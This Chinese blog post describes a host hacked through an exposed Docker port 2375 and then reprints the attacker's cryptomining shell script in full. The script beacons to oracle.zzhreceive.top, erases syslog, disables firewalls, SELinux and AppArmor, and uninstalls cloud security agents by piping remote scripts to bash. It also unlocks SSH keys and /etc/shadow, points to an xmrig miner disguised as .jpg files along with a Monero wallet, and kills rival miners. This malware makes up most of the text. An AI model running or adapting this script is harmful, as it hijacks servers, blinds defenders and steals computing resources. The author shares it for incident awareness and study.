当前位置:   article > 正文

那些年我们受到的网络攻击_19vw.top

19vw.top

1.docker开放端口2375导致主机被攻击

        今天早上突然收到了短信通知,然后咨询华为工程师发现是主机受到了攻击,万万没想到这种事情会发生在我的身上,然后就看看这个家伙到底在做什么

每分钟都能收到系统邮件通知,这样很影响操作体验

 他在这里放了两个脚本

这里每分钟他都会下载他的脚本然后放到定时任务里面执行,如果我只是单纯的删除了他的脚本,他在下一分钟还是会下载好之后继续执行 

 

   

直接把容器给他停掉然后删除容器和镜像,然后删除定时任务

我下载了他的脚本,大家有兴趣可以研究下

  1. #!/bin/bash
  2. us=$(id)
  3. curl "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/null
  4. cd1 "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/null
  5. ulimit -n 65535
  6. export MOHOME=/var/tmp/.copydie
  7. mkdir $MOHOME -p
  8. if [ -f "$MOHOME/[kswapd0].log" ]
  9. then
  10. echo "process possible running"
  11. current=$(date +%s)
  12. last_modified=$(stat -c "%Y" $MOHOME/[kswapd0].log)
  13. if [ $(($current-$last_modified)) -gt 600 ]; then
  14. echo "no miner process running";
  15. else
  16. echo "miner process running"
  17. exit 1
  18. fi
  19. else
  20. echo "miner process not running"
  21. fi
  22. if [ -f "/usr/share/[crypto].log" ]
  23. then
  24. echo "process possible running"
  25. current=$(date +%s)
  26. last_modified=$(stat -c "%Y" /usr/share/[crypto].log)
  27. if [ $(($current-$last_modified)) -gt 600 ]; then
  28. echo "no miner process running";
  29. else
  30. echo "miner process running"
  31. exit 1
  32. fi
  33. else
  34. echo "miner process not running"
  35. fi
  36. if [ -f "/var/tmp/.system/[ext4].log" ]
  37. then
  38. echo "process possible running"
  39. current=$(date +%s)
  40. last_modified=$(stat -c "%Y" /var/tmp/.system/[ext4].log)
  41. if [ $(($current-$last_modified)) -gt 600 ]; then
  42. echo "no miner process running";
  43. else
  44. echo "miner process running"
  45. exit 1
  46. fi
  47. else
  48. echo "miner process not running"
  49. fi
  50. rm -rf /var/log/syslog
  51. chattr -iua /tmp/
  52. chattr -iua /var/tmp/
  53. ufw disable
  54. iptables -F
  55. sudo sysctl kernel.nmi_watchdog=0
  56. sysctl kernel.nmi_watchdog=0
  57. echo '0' >/proc/sys/kernel/nmi_watchdog
  58. echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  59. chattr -iae /root/.ssh/
  60. chattr -iae /root/.ssh/authorized_keys
  61. rm -rf /tmp/addres*
  62. rm -rf /tmp/walle*
  63. rm -rf /tmp/keys
  64. if ps aux | grep -i '[a]liyun'; then
  65. curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  66. curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  67. pkill aliyun-service
  68. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  69. rm -rf /usr/local/aegis*
  70. systemctl stop aliyun.service
  71. systemctl disable aliyun.service
  72. service bcm-agent stop
  73. yum remove bcm-agent -y
  74. apt-get remove bcm-agent -y
  75. elif ps aux | grep -i '[y]unjing'; then
  76. /usr/local/qcloud/stargate/admin/uninstall.sh
  77. /usr/local/qcloud/YunJing/uninst.sh
  78. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  79. fi
  80. if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  81. /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
  82. else
  83. export ARCH=amd64
  84. if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
  85. /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
  86. else
  87. echo "ali cloud monitor not running"
  88. fi
  89. fi
  90. setenforce 0
  91. echo SELINUX=disabled >/etc/selinux/config
  92. service apparmor stop
  93. systemctl disable apparmor
  94. service aliyun.service stop
  95. systemctl disable aliyun.service
  96. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  97. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  98. rm -rf /usr/local/aegis
  99. MOxmrigMOD=http://58.226.35.74/midd.jpg
  100. MOxmrigSTOCK=http://58.226.35.74/midd.jpg
  101. miner_url=https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz
  102. miner_url_backup=http://oracle.zzhreceive.top/b2f628/father.jpg
  103. config_url=http://oracle.zzhreceive.top/b2f628/cf.jpg
  104. config_url_backup=http://oracle.zzhreceive.top/b2f628/cf.jpg
  105. WALLET=43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.peter44d
  106. VERSION=2.9
  107. function FixTheSystem(){
  108. echo "begin FixTheSystem"
  109. tntrecht -i /bin/chmod || chattr -i /bin/chmod
  110. setfacl -m u::x /bin/chmod
  111. tntrecht -i /bin/chattr || chattr -i /bin/chattr
  112. chmod +x /bin/chattr || setfacl -m u::x /bin/chattr
  113. SYSFILEARRAY=(/usr/bin/apt /usr/bin/apt-get /bin/yum /bin/kill /usr/lib/klibc/bin/kill /usr/bin/pkill /bin/pkill /sbin/shutdown /sbin/reboot /sbin/poweroff /sbin/telinit)
  114. for SYSFILEBIN in ${SYSFILEARRAY[@]}; do
  115. tntrecht -i $SYSFILEBIN
  116. chattr -i $SYSFILEBIN
  117. setfacl -m u::x /bin/chmod
  118. setfacl -m u::x $SYSFILEBIN
  119. chmod +x $SYSFILEBIN
  120. chattr +i $SYSFILEBIN
  121. tntrecht +i $SYSFILEBIN
  122. done
  123. SYSTEMFILEARRAY=("/root/.ssh/" "/home/*/.ssh/" "/etc/passwd" "/etc/shadow" "/etc/sudoers" "/etc/ssh/" "/etc/ssh/sshd_config")
  124. for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
  125. tntrecht -iR $SYSTEMFILE 2>/dev/null 1>/dev/null
  126. chattr -iR $SYSTEMFILE 2>/dev/null 1>/dev/null
  127. done
  128. setfacl -m u::x /bin/chmod
  129. }
  130. kill_miner_proc()
  131. {
  132. netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  133. netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  134. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  135. netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  136. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  137. netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  138. netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  139. netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  140. netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  141. netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  142. netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  143. netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  144. netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  145. netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  146. netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  147. netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  148. ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
  149. ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
  150. ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
  151. ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
  152. ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
  153. ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
  154. ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
  155. ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
  156. ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
  157. ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
  158. ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
  159. ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
  160. ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
  161. ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
  162. ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
  163. ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
  164. ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
  165. ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
  166. ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
  167. ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
  168. ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
  169. ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
  170. ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
  171. ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
  172. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  173. ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
  174. ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
  175. ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
  176. ps aux | grep -v grep | grep 'svc' | awk '{print $2}' | xargs -I % kill -9 %
  177. ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
  178. ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
  179. ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
  180. ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
  181. ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
  182. ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
  183. ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
  184. ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
  185. ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
  186. ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
  187. ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
  188. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  189. ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
  190. ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
  191. ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
  192. ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
  193. ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
  194. ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
  195. ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
  196. ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
  197. ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
  198. ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
  199. ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
  200. ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
  201. ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
  202. ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
  203. ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
  204. ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
  205. ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
  206. ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
  207. ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
  208. ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
  209. ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
  210. ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
  211. ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
  212. ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
  213. ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
  214. ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
  215. ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
  216. ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
  217. ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
  218. ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
  219. ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
  220. ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
  221. ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
  222. ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
  223. ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
  224. ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
  225. ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
  226. ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
  227. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  228. ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
  229. ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
  230. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  231. ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
  232. ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
  233. ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
  234. ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
  235. ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
  236. ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  237. ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  238. ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  239. ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  240. ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  241. ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  242. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  243. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  244. ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
  245. ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  246. ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  247. ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  248. ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  249. ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  250. ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  251. ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  252. ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  253. ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  254. ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  255. ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
  256. ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
  257. ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
  258. ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
  259. ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
  260. ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
  261. ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
  262. ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
  263. ps auxf | grep -v grep | grep "xmr.kswapd0-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
  264. ps auxf | grep -v grep | grep "xmr.kswapd0-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
  265. ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
  266. ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
  267. ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
  268. ps auxf | grep -v grep | grep "xmr.kswapd0-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
  269. ps auxf | grep -v grep | grep "xmr.kswapd0-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
  270. ps auxf | grep -v grep | grep "xmr.kswapd0-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
  271. ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
  272. ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
  273. ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
  274. ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
  275. ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
  276. netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  277. netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  278. pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
  279. pgrep -f xzpauectgr | xargs -I % kill -9 %
  280. pgrep -f slxfbkmxtd | xargs -I % kill -9 %
  281. pgrep -f mixtape | xargs -I % kill -9 %
  282. pgrep -f addnj | xargs -I % kill -9 %
  283. pgrep -f 200.68.17.196 | xargs -I % kill -9 %
  284. pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
  285. pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
  286. pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
  287. pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
  288. pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
  289. pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
  290. pgrep -f mqdsflm.cf | xargs -I % kill -9 %
  291. pgrep -f lower.sh | xargs -I % kill -9 %
  292. pgrep -f ./ppp | xargs -I % kill -9 %
  293. pgrep -f kswapd0night | xargs -I % kill -9 %
  294. pgrep -f ./seervceaess | xargs -I % kill -9 %
  295. pgrep -f ./servceaess | xargs -I % kill -9 %
  296. pgrep -f ./servceas | xargs -I % kill -9 %
  297. pgrep -f ./servcesa | xargs -I % kill -9 %
  298. pgrep -f ./vsp | xargs -I % kill -9 %
  299. pgrep -f ./jvs | xargs -I % kill -9 %
  300. pgrep -f ./pvv | xargs -I % kill -9 %
  301. pgrep -f ./vpp | xargs -I % kill -9 %
  302. pgrep -f ./pces | xargs -I % kill -9 %
  303. pgrep -f ./rspce | xargs -I % kill -9 %
  304. pgrep -f ./haveged | xargs -I % kill -9 %
  305. pgrep -f ./jiba | xargs -I % kill -9 %
  306. pgrep -f ./watchbog | xargs -I % kill -9 %
  307. pgrep -f ./A7mA5gb | xargs -I % kill -9 %
  308. pgrep -f kacpi_svc | xargs -I % kill -9 %
  309. pgrep -f kswap_svc | xargs -I % kill -9 %
  310. pgrep -f kauditd_svc | xargs -I % kill -9 %
  311. pgrep -f kpsmoused_svc | xargs -I % kill -9 %
  312. pgrep -f kseriod_svc | xargs -I % kill -9 %
  313. pgrep -f kthreadd_svc | xargs -I % kill -9 %
  314. pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
  315. pgrep -f kintegrityd_svc | xargs -I % kill -9 %
  316. pgrep -f jawa | xargs -I % kill -9 %
  317. pgrep -f oracle.jpg | xargs -I % kill -9 %
  318. pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
  319. pgrep -f 188.209.49.54 | xargs -I % kill -9 %
  320. pgrep -f 181.214.87.241 | xargs -I % kill -9 %
  321. pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
  322. pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
  323. pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
  324. pgrep -f servim | xargs -I % kill -9 %
  325. pgrep -f kblockd_svc | xargs -I % kill -9 %
  326. pgrep -f native_svc | xargs -I % kill -9 %
  327. pgrep -f ynn | xargs -I % kill -9 %
  328. pgrep -f 65ccEJ7 | xargs -I % kill -9 %
  329. pgrep -f jmxx | xargs -I % kill -9 %
  330. pgrep -f 2Ne80nA | xargs -I % kill -9 %
  331. pgrep -f sysstats | xargs -I % kill -9 %
  332. pgrep -f systemxlv | xargs -I % kill -9 %
  333. pgrep -f watchbog | xargs -I % kill -9 %
  334. pgrep -f OIcJi1m | xargs -I % kill -9 %
  335. pkill -f biosetjenkins
  336. pkill -f Loopback
  337. pkill -f apaceha
  338. pkill -f kswapd0night
  339. pkill -f mixnerdx
  340. pkill -f performedl
  341. pkill -f JnKihGjn
  342. pkill -f irqba2anc1
  343. pkill -f irqba5xnc1
  344. pkill -f irqbnc1
  345. pkill -f ir29xc1
  346. pkill -f conns
  347. pkill -f irqbalance
  348. pkill -f kswapd0-pool
  349. pkill -f XJnRj
  350. pkill -f mgwsl
  351. pkill -f pythno
  352. pkill -f jweri
  353. pkill -f lx26
  354. pkill -f NXLAi
  355. pkill -f BI5zj
  356. pkill -f askdljlqw
  357. pkill -f minerd
  358. pkill -f minergate
  359. pkill -f Guard.sh
  360. pkill -f ysaydh
  361. pkill -f bonns
  362. pkill -f donns
  363. pkill -f kxjd
  364. pkill -f Duck.sh
  365. pkill -f bonn.sh
  366. pkill -f conn.sh
  367. pkill -f kworker34
  368. pkill -f kw.sh
  369. pkill -f pro.sh
  370. pkill -f polkitd
  371. pkill -f acpid
  372. pkill -f icb5o
  373. pkill -f nopxi
  374. pkill -f irqbalanc1
  375. pkill -f minerd
  376. pkill -f i586
  377. pkill -f gddr
  378. pkill -f mstxmr
  379. pkill -f ddg.2011
  380. pkill -f wnTKYg
  381. pkill -f deamon
  382. pkill -f disk_genius
  383. pkill -f sourplum
  384. pkill -f polkitd
  385. pkill -f nanoWatch
  386. pkill -f zigw
  387. pkill -f devtool
  388. pkill -f devtools
  389. pkill -f systemctI
  390. pkill -f watchbog
  391. pkill -f kswapd0night
  392. pkill -f sustes
  393. pkill -f xmrig
  394. pkill -f xmrig-cpu
  395. pkill -f 121.42.151.137
  396. pkill -f init12.cfg
  397. pkill -f nginxk
  398. pkill -f tmp/wc.conf
  399. pkill -f xmrig-notls
  400. pkill -f xmr-stak
  401. pkill -f suppoie
  402. pkill -f zer0day.ru
  403. pkill -f dbus-daemon--system
  404. pkill -f nullcrew
  405. pkill -f systemctI
  406. pkill -f kworkerds
  407. pkill -f init10.cfg
  408. pkill -f /wl.conf
  409. pkill -f crond64
  410. pkill -f sustse
  411. pkill -f vmlinuz
  412. pkill -f exin
  413. pkill -f apachiii
  414. pkill -f svcworkmanager
  415. pkill -f xr
  416. pkill -f trace
  417. pkill -f svcupdate
  418. pkill -f networkmanager
  419. pkill -f phpupdate
  420. rm -rf /usr/bin/config.json
  421. rm -rf /usr/bin/exin
  422. rm -rf /tmp/wc.conf
  423. rm -rf /tmp/log_rot
  424. rm -rf /tmp/apachiii
  425. rm -rf /tmp/sustse
  426. rm -rf /tmp/php
  427. rm -rf /tmp/p2.conf
  428. rm -rf /tmp/pprt
  429. rm -rf /tmp/ppol
  430. rm -rf /tmp/javax/config.sh
  431. rm -rf /tmp/javax/sshd2
  432. rm -rf /tmp/.profile
  433. rm -rf /tmp/1.so
  434. rm -rf /tmp/kworkerds
  435. rm -rf /tmp/kworkerds3
  436. rm -rf /tmp/kworkerdssx
  437. rm -rf /tmp/xd.json
  438. rm -rf /tmp/syslogd
  439. rm -rf /tmp/syslogdb
  440. rm -rf /tmp/65ccEJ7
  441. rm -rf /tmp/jmxx
  442. rm -rf /tmp/2Ne80nA
  443. rm -rf /tmp/dl
  444. rm -rf /tmp/ddg
  445. rm -rf /tmp/systemxlv
  446. rm -rf /tmp/systemctI
  447. rm -rf /tmp/.abc
  448. rm -rf /tmp/osw.hb
  449. rm -rf /tmp/.tmpleve
  450. rm -rf /tmp/.tmpnewzz
  451. rm -rf /tmp/.java
  452. rm -rf /tmp/.omed
  453. rm -rf /tmp/.tmpc
  454. rm -rf /tmp/.tmpleve
  455. rm -rf /tmp/.tmpnewzz
